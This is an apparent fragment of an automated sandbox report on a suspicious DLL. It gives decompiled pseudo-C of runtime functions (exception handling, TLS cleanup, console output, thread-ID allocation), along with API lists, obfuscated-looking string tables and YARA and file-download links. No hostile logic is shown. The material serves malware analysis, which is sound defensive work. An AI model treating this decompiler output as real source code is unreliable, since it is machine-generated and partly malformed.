								_t274 =  *(E6EBFF3B1(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6EBFF3B1(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6EBFF3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6EBFEB2A(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6EBFF676(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E6EBFF131(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6EBFF3B1(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E6EC00105(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6EBFF3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6EBFF3B1(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6EBFF3B1(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6EBFF3B1(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E6EC00105(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6EC01BCC(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6EBFFD99( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x6ec3e0c0) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E6EBFF131(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E6EBFFD81( &_v64);
											E6EBFE95C( &_v64, 0x6ec3b17c);
											L63:
											 *(E6EBFF3B1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6EBFF3B1(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6EBFED1D(_t279, _t319, _t274);
											E6EC00005(_a8, _a16, _t305);
											_t235 = E6EC001C2(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6EBFFF7C(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6EBFF7F3
type_info::operator==.LIBVCRUNTIME ref: 6EBFF815
___TypeMatch.LIBVCRUNTIME ref: 6EBFF924
IsInExceptionSpec.LIBVCRUNTIME ref: 6EBFF9F6
_UnwindNestedFrames.LIBCMT ref: 6EBFFA7A
CallUnexpected.LIBVCRUNTIME ref: 6EBFFA95

Strings

csm, xrefs: 6EBFF7A0
csm, xrefs: 6EBFF733
csm, xrefs: 6EBFF84C

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: e96fb90bab850719a42baee9d0eaafdb793d3c583d9d1201c8e91ee0271f6206
Instruction ID: 9f35e2754bee85f4f3f5dd68b55576ddefcfaa5c0e6fa63683735d502b0af686
Opcode Fuzzy Hash: e96fb90bab850719a42baee9d0eaafdb793d3c583d9d1201c8e91ee0271f6206
Instruction Fuzzy Hash: F7B13871C1028AEFCF15CFE4C99099EBFB9FF08314B24456AE8146B215D731DA6ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC340, Relevance: 12.6, APIs: 10, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6EBEC340() {
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t31;
				signed char _t42;
				signed char _t43;
				signed char _t44;
				signed char _t45;
				intOrPtr* _t52;
				intOrPtr* _t53;
				intOrPtr* _t54;
				intOrPtr* _t55;
				intOrPtr* _t56;
				void* _t57;

				_t25 =  *((intOrPtr*)(_t57 + 0x18));
				if(_t25 == 3 || _t25 == 0) {
					_t52 =  *0x6ec3e12c; // 0x0
					if(_t52 == 0) {
						goto L26;
					}
					_t42 = 0;
					do {
						_t27 = TlsGetValue( *(_t52 + 4));
						if(_t27 != 0) {
							TlsSetValue( *(_t52 + 4), 0);
							 *_t52(_t27);
							_t57 = _t57 + 4;
							_t42 = 1;
						}
						_t52 =  *((intOrPtr*)(_t52 + 8));
					} while (_t52 != 0);
					if((_t42 & 0x00000001) == 0) {
						goto L26;
					}
					_t53 =  *0x6ec3e12c; // 0x0
					if(_t53 == 0) {
						goto L26;
					}
					_t43 = 0;
					do {
						_t28 = TlsGetValue( *(_t53 + 4));
						if(_t28 != 0) {
							TlsSetValue( *(_t53 + 4), 0);
							 *_t53(_t28);
							_t57 = _t57 + 4;
							_t43 = 1;
						}
						_t53 =  *((intOrPtr*)(_t53 + 8));
					} while (_t53 != 0);
					if((_t43 & 0x00000001) == 0) {
						goto L26;
					}
					_t54 =  *0x6ec3e12c; // 0x0
					if(_t54 == 0) {
						goto L26;
					}
					_t44 = 0;
					do {
						_t29 = TlsGetValue( *(_t54 + 4));
						if(_t29 != 0) {
							TlsSetValue( *(_t54 + 4), 0);
							 *_t54(_t29);
							_t57 = _t57 + 4;
							_t44 = 1;
						}
						_t54 =  *((intOrPtr*)(_t54 + 8));
					} while (_t54 != 0);
					if((_t44 & 0x00000001) == 0) {
						goto L26;
					}
					_t55 =  *0x6ec3e12c; // 0x0
					if(_t55 == 0) {
						goto L26;
					}
					_t45 = 0;
					do {
						_t30 = TlsGetValue( *(_t55 + 4));
						if(_t30 != 0) {
							TlsSetValue( *(_t55 + 4), 0);
							 *_t55(_t30);
							_t57 = _t57 + 4;
							_t45 = 1;
						}
						_t55 =  *((intOrPtr*)(_t55 + 8));
					} while (_t55 != 0);
					if((_t45 & 0x00000001) != 0) {
						_t56 =  *0x6ec3e12c; // 0x0
						while(_t56 != 0) {
							_t31 = TlsGetValue( *(_t56 + 4));
							if(_t31 != 0) {
								TlsSetValue( *(_t56 + 4), 0);
								 *_t56(_t31);
								_t57 = _t57 + 4;
							}
							_t56 =  *((intOrPtr*)(_t56 + 8));
						}
					}
					goto L26;
				} else {
					L26:
					_t26 =  *0x6ec3a300; // 0x70
					return _t26;
				}
			}

APIs

TlsGetValue.KERNEL32(?), ref: 6EBEC37A
TlsSetValue.KERNEL32(?,00000000), ref: 6EBEC387
TlsGetValue.KERNEL32(?), ref: 6EBEC3CA
TlsSetValue.KERNEL32(?,00000000), ref: 6EBEC3D7
TlsGetValue.KERNEL32(?), ref: 6EBEC40A
TlsSetValue.KERNEL32(?,00000000), ref: 6EBEC417
TlsGetValue.KERNEL32(?), ref: 6EBEC44A
TlsSetValue.KERNEL32(?,00000000), ref: 6EBEC457
TlsGetValue.KERNEL32(?), ref: 6EBEC48B
TlsSetValue.KERNEL32(?,00000000), ref: 6EBEC498

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: bd00916b78ed99d169e378a90bdc87de8c753dfc9d8f151caf877a1ac3d52f77
Instruction ID: 7a8a6411b3dc32ccc28f0d6410c4485ac93abc21f59cad92467cbecdb06f39b2
Opcode Fuzzy Hash: bd00916b78ed99d169e378a90bdc87de8c753dfc9d8f151caf877a1ac3d52f77
Instruction Fuzzy Hash: E1416D711843CDAFDB51AEE59D11BAA3F34EF12A84F044024FE254E922E772DA109F92

Uniqueness

Uniqueness Score: -1.00%

Function 6EBF1BF0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 212
fileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6EBF1BF0(void* __ebx, struct _OVERLAPPED** __ecx, void* __edx, void* __edi, void* __ebp, signed char _a4, signed char* _a8) {
				char _v20;
				void* _v24;
				char _v44;
				long _v48;
				void* _v52;
				signed int _v56;
				char _v60;
				void* __esi;
				long _t57;
				void* _t58;
				long _t60;
				signed int _t61;
				long _t81;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t91;
				char _t93;
				void* _t96;
				void* _t97;
				signed int _t100;
				signed int _t101;
				struct _OVERLAPPED* _t102;
				signed int _t105;
				signed int* _t106;
				signed int _t110;
				signed char _t112;
				void* _t114;
				long _t118;
				void** _t119;
				void* _t120;
				long _t122;
				void* _t125;
				void* _t133;
				struct _OVERLAPPED** _t135;
				void* _t144;
				long _t152;
				signed char* _t155;
				DWORD* _t156;
				void* _t157;
				void** _t158;
				void** _t160;

				_push(__ebp);
				_push(__ebx);
				_push(__edi);
				_t158 = _t157 - 0x30;
				_t152 = _a4;
				_t135 = __ecx;
				if(_t152 == 0) {
					 *(__ecx + 4) = 0;
					goto L5;
				} else {
					_t96 = __edx;
					_t58 = GetStdHandle(0xfffffff4);
					if(_t58 == 0) {
						_t57 = 6;
						goto L7;
					} else {
						_t133 = _t58;
						if(_t58 != 0xffffffff) {
							_v48 = 0;
							_t60 = GetConsoleMode(_t133,  &_v48);
							__eflags = _t60;
							if(_t60 == 0) {
								__eflags = _t133;
								if(__eflags == 0) {
									goto L42;
								} else {
									_v48 = 0;
									_t81 = WriteFile(_t133, _t96, _t152,  &_v48, 0);
									__eflags = _t81;
									if(_t81 == 0) {
										_t57 = GetLastError();
										_t102 = 0;
										__eflags = 0;
										_t122 = 1;
									} else {
										_t102 = _v48;
										_t57 = 0;
										_t122 = 0;
									}
									 *_t135 = _t122;
									_t135[1] = _t102;
									_t135[2] = _t57;
									goto L9;
								}
							} else {
								_t57 = _a8[4] & 0x000000ff;
								__eflags = _t57;
								if(_t57 == 0) {
									__eflags = _t152 - 0x1000;
									_t84 =  <  ? _t152 : 0x1000;
									_push( <  ? _t152 : 0x1000);
									E6EBE3650( &_v60, _t96);
									_t158 =  &(_t158[1]);
									__eflags = _v60 - 1;
									if(_v60 != 1) {
										_t86 = _v56;
										_t97 = _v52;
										goto L28;
									} else {
										__eflags = _v56;
										if(_v56 == 0) {
											_t87 =  *_t96 & 0x000000ff;
											_t38 = _t87 + 0x6ec2f570; // 0x1010101
											_t105 =  *_t38 & 0x000000ff;
											__eflags = _t105 - 2;
											if(_t105 < 2) {
												L39:
												_t135[2] = 0x6ec308cc;
												_t135[1] = 0x1502;
												goto L40;
											} else {
												__eflags = _t105 - _t152;
												if(_t105 <= _t152) {
													goto L39;
												} else {
													_t106 = _a8;
													 *_t106 = _t87;
													_t106[1] = 1;
													goto L38;
												}
											}
											goto L9;
										} else {
											_t88 = _v56;
											__eflags = _t88 - _t152;
											if(__eflags > 0) {
												_t100 = _t88;
												_t118 = _t152;
												_push(0x6ec30904);
												goto L45;
											} else {
												_t125 = _t96;
												_push(_t88);
												E6EBE3650( &_v48, _t125);
												_t158 =  &(_t158[1]);
												_t86 = L6EBF2730( &_v48);
												_t97 = _t125;
												L28:
												_push(_t97);
												_push(_t86);
												_t57 = L6EBF2470(_t97, _t135, _t133, _t133, _t135);
												_t158 =  &(_t158[2]);
												goto L9;
											}
										}
									}
								} else {
									__eflags = _t57 - 4;
									if(_t57 >= 4) {
										E6EC099A0("Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx", 0x3a, 0x6ec3086c);
										_t158 =  &(_t158[1]);
										asm("ud2");
										L42:
										_t61 = E6EC094E0(_t96,  &M6EC2FBBA, 0x23, _t133, _t135, __eflags, 0x6ec2fc64);
										_t158 =  &(_t158[1]);
										asm("ud2");
										goto L43;
									} else {
										_t110 =  *_t96;
										_t155 = _a8;
										__eflags = (_t110 & 0x000000c0) - 0x80;
										if((_t110 & 0x000000c0) != 0x80) {
											_a4 = 0;
											goto L24;
										} else {
											_t155[_t57] = _t110;
											_t112 = _a4 + 1;
											_a4 = _t112;
											_t57 =  *_t155 & 0x000000ff;
											_t96 =  *(_t57 + 0x6ec2f570) & 0x000000ff;
											__eflags = _t96 - _t112;
											_v24 = _t96;
											if(_t96 <= _t112) {
												_t61 = _t112 & 0x000000ff;
												__eflags = _t112 - 5;
												if(__eflags >= 0) {
													L43:
													_t100 = _t61;
													_t118 = 4;
													_push(0x6ec308d4);
													L45:
													E6EC09470(_t96, _t100, _t118, _t133, _t135, __eflags);
													_t160 =  &(_t158[1]);
													asm("ud2");
													goto L46;
												} else {
													_push(_t61);
													_t57 = E6EBE3650( &_v60, _t155);
													_t158 =  &(_t158[1]);
													__eflags = _v60 - 1;
													_a4 = 0;
													if(_v60 == 1) {
														L24:
														_t135[2] = 0x6ec308cc;
														_t135[1] = 0x1502;
														goto L8;
													} else {
														_t114 = _v52;
														_t91 = _v56;
														__eflags = _t114 - _t96;
														 *_t158 = _t114;
														if(_t114 != _t96) {
															L46:
															_t101 =  &_v24;
															_t119 = _t160;
															_v48 = 0;
															_push(0x6ec308e4);
															_push( &_v48);
															goto L48;
														} else {
															_t156 =  &_v48;
															_push(_t96);
															_push(_t91);
															L6EBF2470(_t96, _t156, _t133, _t133, _t135);
															_t160 =  &(_t158[2]);
															__eflags = _v48 - 1;
															if(_v48 != 1) {
																_t93 = _v44;
																 *_t160 = _t96;
																__eflags = _t93 - _t96;
																_v20 = _t93;
																if(_t93 != _t96) {
																	_t101 =  &_v20;
																	_t119 = _t160;
																	_v48 = 0;
																	_push(0x6ec308f4);
																	_push(_t156);
																	L48:
																	E6EC09AB0(_t96, _t101, _t119, _t133);
																	asm("ud2");
																	L50();
																	_t120 = _t135;
																	__eflags = _t101 - 0x46a;
																	if(_t101 > 0x46a) {
																		__eflags = _t101 - 0x271c;
																		if(_t101 <= 0x271c) {
																			__eflags = _t101 - 0x1715;
																			if(_t101 > 0x1715) {
																				__eflags = _t101 - 0x1f4d;
																				if(_t101 > 0x1f4d) {
																					__eflags = _t101 - 0x1f4e;
																					if(_t101 == 0x1f4e) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x2022;
																						if(_t101 == 0x2022) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x25e9;
																							if(_t101 != 0x25e9) {
																								goto L106;
																							} else {
																								goto L93;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x1716;
																					if(_t101 == 0x1716) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x1b64;
																						if(_t101 == 0x1b64) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x1b80;
																							if(_t101 == 0x1b80) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x4cf;
																				if(_t101 > 0x4cf) {
																					__eflags = _t101 - 0x4d0;
																					if(_t101 == 0x4d0) {
																						return 4;
																					} else {
																						__eflags = _t101 - 0x50f;
																						if(_t101 == 0x50f) {
																							return 0x1a;
																						} else {
																							__eflags = _t101 - 0x5b4;
																							if(_t101 == 0x5b4) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x46b;
																					if(_t101 == 0x46b) {
																						return 0x1e;
																					} else {
																						__eflags = _t101 - 0x476;
																						if(_t101 == 0x476) {
																							return 0x20;
																						} else {
																							__eflags = _t101 - 0x4cf;
																							if(_t101 != 0x4cf) {
																								goto L106;
																							} else {
																								return 5;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t144 = _t101 - 0x271d;
																			__eflags = _t144 - 0x34;
																			if(_t144 <= 0x34) {
																				goto __edx;
																			}
																			__eflags = _t101 - 0x3c2a - 2;
																			if(_t101 - 0x3c2a < 2) {
																				goto L93;
																			} else {
																				__eflags = _t101 - 0x35ed;
																				if(_t101 == 0x35ed) {
																					goto L93;
																				} else {
																					goto L106;
																				}
																			}
																		}
																	} else {
																		__eflags = _t101 - 0xb6;
																		if(_t101 > 0xb6) {
																			__eflags = _t101 - 0x10a;
																			if(_t101 <= 0x10a) {
																				__eflags = _t101 - 0xde;
																				if(_t101 <= 0xde) {
																					__eflags = _t101 - 0xb7;
																					if(_t101 == 0xb7) {
																						return 0xc;
																					} else {
																						__eflags = _t101 - 0xce;
																						if(_t101 != 0xce) {
																							goto L106;
																						} else {
																							return 0x21;
																						}
																					}
																				} else {
																					__eflags = _t101 - 0xdf;
																					if(_t101 == 0xdf) {
																						return 0x1b;
																					} else {
																						__eflags = _t101 - 0xe8;
																						if(_t101 == 0xe8) {
																							return 0xb;
																						} else {
																							__eflags = _t101 - 0x102;
																							if(_t101 == 0x102) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x3e2;
																				if(_t101 > 0x3e2) {
																					__eflags = _t101 - 0x3e3;
																					if(_t101 == 0x3e3) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x41d;
																						if(_t101 == 0x41d) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x461;
																							if(_t101 == 0x461) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x10b;
																					if(_t101 == 0x10b) {
																						return 0xe;
																					} else {
																						__eflags = _t101 - 0x150;
																						if(_t101 == 0x150) {
																							return 0xf;
																						} else {
																							__eflags = _t101 - 0x252;
																							if(_t101 == 0x252) {
																								L93:
																								return 0x16;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t101 = _t101 + 0xfffffffe;
																			__eflags = _t101 - 0xa8;
																			if(_t101 <= 0xa8) {
																				_t120 = _t120 +  *((intOrPtr*)(0x6ebf20f8 + _t101 * 4));
																				goto __edx;
																			}
																			L106:
																			return 0x28;
																		}
																	}
																} else {
																	L38:
																	_t57 = 0;
																	_t135[1] = 1;
																	 *_t135 = 0;
																	goto L9;
																}
															} else {
																asm("movsd xmm0, [esp+0x14]");
																asm("movsd [esi+0x4], xmm0");
																L40:
																_t57 = 1;
																 *_t135 = 1;
																goto L9;
															}
														}
													}
												}
											} else {
												_t135[1] = 1;
												L5:
												 *_t135 = 0;
												goto L9;
											}
										}
									}
								}
							}
						} else {
							_t57 = GetLastError();
							L7:
							_t135[1] = 0;
							_t135[2] = _t57;
							L8:
							 *_t135 = 1;
							L9:
							return _t57;
						}
					}
				}
			}

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,?,?,?,?,?,?,6EBF1A7E,?), ref: 6EBF1C05
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,6EBF1A7E,?), ref: 6EBF1C16
GetConsoleMode.KERNEL32(00000000,?), ref: 6EBF1C58
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 6EBF1CD3
GetLastError.KERNEL32(?,?,?,00000000), ref: 6EBF1D55

Strings

assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb, xrefs: 6EBF1E5E
Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx, xrefs: 6EBF1E45

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$ConsoleFileHandleModeWrite
String ID: Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx$assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb
API String ID: 4172320683-1866377508
Opcode ID: 7fd88bc5a6d697df4382896d5d5f1f7ffb9778417eb729f17d5af5b022cd0267
Instruction ID: c94219efa0c4aaaa312f81d3ba191454f852ba3f6cf076bc7ed1630e3f7735c6
Opcode Fuzzy Hash: 7fd88bc5a6d697df4382896d5d5f1f7ffb9778417eb729f17d5af5b022cd0267
Instruction Fuzzy Hash: 3971C0B0608385DFD7148FA5D46075A7FE9AB86308F148C2CE4E69B382E731D94ECB12

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC4D0, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 95
memoryCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E6EBEC4D0(void* __ebx, void* __edi, void* __esi, void* _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v40;
				long _v48;
				void* __ebp;
				void* _t22;
				void* _t29;
				void* _t30;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				void* _t54;

				_t32 = __ebx;
				_v32 = _t54 - 0x20;
				_v20 = 0xffffffff;
				_v24 = E6EBF3990;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_v48 = 0;
				__imp__AcquireSRWLockExclusive(0x6ec3e108, __esi, __edi, __ebx);
				_t47 =  *0x6ec3d038; // 0x1
				_t50 =  *0x6ec3d03c; // 0x0
				_v40 = 0x6ec3e108;
				_t43 = _t47 & _t50;
				if(_t43 == 0xffffffff) {
					L8:
					_v36 = _t43;
					__imp__ReleaseSRWLockExclusive(0x6ec3e108);
					_v20 = 0;
					_t22 = E6EC099A0("failed to generate unique thread ID: bitspace exhausted", 0x37, 0x6ec2fa80);
					goto L10;
				} else {
					 *0x6ec3d038 = _t47 + 1;
					asm("adc ecx, 0x0");
					 *0x6ec3d03c = _t50;
					if((_t47 | _t50) == 0) {
						_v36 = _t43;
						_v20 = 0;
						_t22 = E6EC094E0(__ebx, "called `Option::unwrap()` on a `None` value", 0x2b, _t47, _t50, __eflags, 0x6ec2fa90);
						L10:
						asm("ud2");
						__eflags = _v36 - 0xffffffff;
						if(_v36 != 0xffffffff) {
							E6EBEC6B0(_t22,  &_v40);
						}
						return E6EBEC690( &_v48);
					} else {
						__imp__ReleaseSRWLockExclusive(0x6ec3e108);
						_t29 =  *0x6ec3e128; // 0x2ff0000
						if(_t29 != 0) {
							L5:
							_t30 = HeapAlloc(_t29, 0, 0x20);
							if(_t30 == 0) {
								goto L7;
							} else {
								 *(_t30 + 8) = _t47;
								 *(_t30 + 0xc) = _t50;
								 *(_t30 + 0x10) = 0;
								 *((char*)(_t30 + 0x18)) = 0;
								 *_t30 = 1;
								 *(_t30 + 4) = 1;
								 *[fs:0x0] = _v28;
								return _t30;
							}
						} else {
							_t29 = GetProcessHeap();
							if(_t29 == 0) {
								L7:
								_t43 = 8;
								E6EC092F0(_t32, 0x20, 8, _t47, _t50, __eflags);
								asm("ud2");
								goto L8;
							} else {
								 *0x6ec3e128 = _t29;
								goto L5;
							}
						}
					}
				}
			}

APIs

AcquireSRWLockExclusive.KERNEL32(6EC3E108), ref: 6EBEC509
